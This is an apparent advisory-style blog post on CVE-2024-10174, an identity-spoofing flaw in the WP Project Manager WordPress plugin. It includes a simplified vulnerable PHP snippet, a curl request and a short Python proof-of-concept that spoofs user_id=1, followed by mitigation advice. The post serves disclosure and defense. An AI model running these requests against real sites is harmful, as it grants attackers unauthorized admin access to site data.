CVE-2024-10174 - Critical Unauthorized Admin Access in WP Project Manager Plugin (up to v2.6.13)
---
WP Project Manager is a popular WordPress plugin used by thousands of site administrators to handle tasks, teams, projects—and even helps organize workflows visually with kanban boards and Gantt charts. But if you’re running any version up to 2.6.13, your site could be *wide open* to attackers. All it takes is a single, simple request—no login needed.
In this post, I’ll break down what the vulnerability is, show you a real code snippet explaining how the exploit works, provide references, and offer clear steps to fix it.
What Is CVE-2024-10174?
In short? It’s an Insecure Direct Object Reference (IDOR) weakness in how WP Project Manager handles user identity, specifically via a class named Abstract_Permission. The plugin looks at a user_id parameter—but doesn’t check who is actually making the request. That means a hacker can simply *tell* the plugin, “I’m the admin!”—and the plugin believes them.
Crucially, the weakness is present on all REST API routes the plugin creates, allowing complete admin-level access to projects, tasks, and sensitive site data.
Admin access possible: Attackers can spoof their identity as the plugin admin.
- REST routes all affected: All of the plugin’s REST API endpoints can be used for pivoting into full control.
Vulnerable Code Example
Let’s have a look at the core part of the vulnerable logic. In a simplified way, the code does something like this:
class Abstract_Permission {
public static function current_user_can( $permission, $user_id = null ) {
if ( is_null( $user_id ) ) {
$user_id = get_current_user_id();
}
// ...check permissions for $user_id...
// Suppose this check is always TRUE if $user_id == 1 (admin)
// But there's no validation if the real user is logged in!
}
}
// usage in REST endpoint:
$user_id = isset( $_REQUEST['user_id'] ) ? intval( $_REQUEST['user_id'] ) : null;
if ( Abstract_Permission::current_user_can( 'manage_projects', $user_id ) ) {
// proceed with admin tasks
}
In this case, the code simply trusts the user_id parameter coming from the request. There’s no check that this user really owns the session or is authenticated.
Example Attack Request
Assume the REST route is /wp-json/wedevs-project-manager/v1/projects.
curl -X GET 'https://victim.com/wp-json/wedevs-project-manager/v1/projects?user_id=1';
The plugin’s permission check is bypassed—the attacker is now treated as admin, and can list, modify, or delete projects.
Below is a super-simple Python script to exploit this issue
import requests
TARGET = 'https://victim.com';
REST_ENDPOINT = '/wp-json/wedevs-project-manager/v1/projects'
ADMIN_USER_ID = 1 # default WordPress admin
r = requests.get(f'{TARGET}{REST_ENDPOINT}', params={"user_id": ADMIN_USER_ID})
if r.status_code == 200:
print("Exploit successful!\nResponse:")
print(r.text)
else:
print("Failed. Status:", r.status_code)
Mitigation and Fix
- Upgrade Immediately: Update to WP Project Manager 2.6.14 or newer. The vendor fixed input validation for user_id and switched to using the real, authenticated user’s ID only.
- Restrict REST API: Use security plugins or server configuration to restrict access to REST endpoints from untrusted sources.
- Monitor for Suspicious Requests: Watch server logs for abnormal REST API usage with parameters like user_id=1, especially from unknown IPs.
References
- WPScan Vulnerability Database: CVE-2024-10174
- WP Project Manager Official Plugin Page
- Original Disclosure (Wordfence)
Final Thoughts
This vulnerability is a textbook example of why you should never trust user input, especially for identifying critical permissions. If you’re using WP Project Manager, update now and review your other plugins for similar logic.
Stay safe—keep your code tight and always validate!
If you need help checking your site or want more details, let me know in the comments.
Timeline
Published on: 11/13/2024 04:15:03 UTC
Last modified on: 11/13/2024 17:01:16 UTC